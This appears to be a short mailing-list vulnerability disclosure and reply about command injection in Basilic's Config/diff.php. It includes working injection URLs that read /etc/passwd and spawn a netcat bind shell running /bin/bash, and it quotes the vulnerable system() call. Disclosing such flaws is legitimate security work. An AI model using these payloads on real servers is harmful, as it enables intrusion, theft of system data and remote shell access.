verified, http://artis.imag.fr/Software/Basilic/ http://127.0.0.1/basilic/Config/diff.php?file=%26nc%20-ltp4444%20-e%20/bin/bash&new=1&old=2 for an interactive shell on port 4444. Neat. line 39 of diff.php is system("diff ../$_GET[old]/$_GET[file] $_GET[new]/$_GET[file] | sed s%\"<\"%\"\<\"%g | sed s%\">\"%\"\>\"%g"); On Jun 30, 2012, at 01:45 PM, m.razavi777@xxxxxxxxx wrote: Hi Dear Sir Basilic is an Automated Bibliography Server for Research Publications Diffusion that use by many research center. there is a RCE bug in basilic/Config/diff.php s could allow an attacker to run system command in server. sample: http://127.0.0.1/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2 Regards M.Razavi
